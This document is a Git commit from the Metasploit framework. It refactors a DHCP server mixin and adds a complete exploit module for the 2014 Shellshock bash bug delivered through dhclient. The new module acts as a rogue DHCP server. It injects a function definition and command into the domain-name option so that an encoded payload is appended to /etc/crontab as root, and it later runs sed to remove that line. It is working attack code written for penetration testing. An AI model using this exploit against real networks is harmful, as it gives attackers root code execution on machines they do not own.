Add DHCP server module for CVE-2014-6271

bug/bundler_fix
James Lee 2014-09-26 01:24:42 -05:00
parent 259a368577
commit 86f85a356d
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
5 changed files with 119 additions and 26 deletions

View File

@ -12,7 +12,24 @@ module Msf
module Exploit::DHCPServer module Exploit::DHCPServer
def initialize(info = {}) def initialize(info = {})
super super(update_info(info,
'Stance' => Msf::Exploit::Stance::Passive,
))
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
@dhcp = nil @dhcp = nil
end end
@ -21,7 +38,7 @@ module Exploit::DHCPServer
@dhcp = Rex::Proto::DHCP::Server.new(hash, context) @dhcp = Rex::Proto::DHCP::Server.new(hash, context)
print_status("Starting DHCP server") if datastore['VERBOSE'] print_status("Starting DHCP server") if datastore['VERBOSE']
@dhcp.start @dhcp.start
add_socket(@dhcp.socket) add_socket(@dhcp.sock)
@dhcp @dhcp
end end

View File

@ -19,6 +19,7 @@ OpDHCPServer = 0x36
OpLeaseTime = 0x33 OpLeaseTime = 0x33
OpSubnetMask = 1 OpSubnetMask = 1
OpRouter = 3 OpRouter = 3
OpDomainName = 15
OpDns = 6 OpDns = 6
OpHostname = 0x0c OpHostname = 0x0c
OpEnd = 0xff OpEnd = 0xff

View File

@ -31,6 +31,7 @@ class Server
self.myfilename << ("\x00" * (128 - self.myfilename.length)) self.myfilename << ("\x00" * (128 - self.myfilename.length))
source = hash['SRVHOST'] || Rex::Socket.source_address source = hash['SRVHOST'] || Rex::Socket.source_address
self.domain_name = hash['DOMAINNAME'] || nil
self.ipstring = Rex::Socket.addr_aton(source) self.ipstring = Rex::Socket.addr_aton(source)
ipstart = hash['DHCPIPSTART'] ipstart = hash['DHCPIPSTART']
@ -151,6 +152,7 @@ class Server
end end
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
attr_accessor :domain_name
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
@ -166,7 +168,7 @@ protected
wds = [] wds = []
eds = [@sock] eds = [@sock]
r,w,e = ::IO.select(rds,wds,eds,1) r,_,_ = ::IO.select(rds,wds,eds,1)
if (r != nil and r[0] == self.sock) if (r != nil and r[0] == self.sock)
buf,host,port = self.sock.recvfrom(65535) buf,host,port = self.sock.recvfrom(65535)
@ -198,19 +200,19 @@ protected
end end
# parse out the members # parse out the members
hwtype = buf[1,1] _hwtype = buf[1,1]
hwlen = buf[2,1].unpack("C").first hwlen = buf[2,1].unpack("C").first
hops = buf[3,1] _hops = buf[3,1]
txid = buf[4..7] _txid = buf[4..7]
elapsed = buf[8..9] _elapsed = buf[8..9]
flags = buf[10..11] _flags = buf[10..11]
clientip = buf[12..15] clientip = buf[12..15]
givenip = buf[16..19] _givenip = buf[16..19]
nextip = buf[20..23] _nextip = buf[20..23]
relayip = buf[24..27] _relayip = buf[24..27]
clienthwaddr = buf[28..(27+hwlen)] _clienthwaddr = buf[28..(27+hwlen)]
servhostname = buf[44..107] servhostname = buf[44..107]
filename = buf[108..235] _filename = buf[108..235]
magic = buf[236..239] magic = buf[236..239]
if (magic != DHCPMagic) if (magic != DHCPMagic)
@ -293,6 +295,8 @@ protected
pkt << dhcpoption(OpSubnetMask, self.netmaskn) pkt << dhcpoption(OpSubnetMask, self.netmaskn)
pkt << dhcpoption(OpRouter, self.router) pkt << dhcpoption(OpRouter, self.router)
pkt << dhcpoption(OpDns, self.dnsserv) pkt << dhcpoption(OpDns, self.dnsserv)
pkt << dhcpoption(OpDomainName, self.domain_name)
if self.servePXE # PXE options if self.servePXE # PXE options
pkt << dhcpoption(OpPXEMagic, PXEMagic) pkt << dhcpoption(OpPXEMagic, PXEMagic)
# We already got this one, serve localboot file # We already got this one, serve localboot file

View File

@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
'DefaultAction' => 'Service' 'DefaultAction' => 'Service'
) )
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
end end
def run def run

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Dhclient Bash Environment Variable Injection',
'Description' => %q|
When bash is started with an environment variable that begins with the
string "() {", that variable is treated as a function definition and
parsed as code. If extra commands are added after the function
definition, they will be executed immediately. When dhclient receives
an ACK that contains a domain name or hostname, they are passed to
configuration scripts as environment variables, allowing us to trigger
the bash bug.
Because of the length restrictions and unusual networking scenario at
time of exploitation, we achieve code execution by echoing our payload
into /etc/crontab and clean it up when we get a shell.
|,
'Author' => [ 'egypt' ],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271'],
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet ruby',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
deregister_options('DOMAINNAME')
end
def on_new_session(session)
print_status "Cleaning up crontab"
# XXX this will brick a server some day
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
end
def exploit
hash = datastore.copy
# Quotes seem to be completely stripped, so other characters have to be
# escaped
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
hash['DOMAINNAME'] = "() { :; };#{echo}"
if hash['DOMAINNAME'].length > 255
raise ArgumentError, 'payload too long'
end
start_service(hash)
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end